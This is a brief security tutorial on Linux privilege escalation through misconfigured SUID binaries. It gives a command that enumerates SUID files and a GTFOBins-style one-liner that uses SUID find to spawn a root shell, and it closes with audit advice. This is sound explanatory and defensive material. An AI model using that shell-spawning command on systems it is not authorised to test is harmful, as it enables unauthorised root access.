Linux Privilege Escalation via Misconfigured SUID Binaries

SUID (Set User ID) is a special file permission in Linux that allows users to run a binary with the permissions of the file owner (often root).

The Security Risk

If a binary with the SUID flag has features that allow file reading, file writing, or command execution, a local attacker can exploit it to spawn a root shell.

Finding SUID Binaries

find / -perm -4000 -type f 2>/dev/null

Exploit Patterns (GTFOBins)

If find has the SUID bit set, you can execute commands as root:

/usr/bin/find . -exec /bin/sh -p \; -quit

Always audit SUID directories and avoid setting the SUID flag on non-essential tools.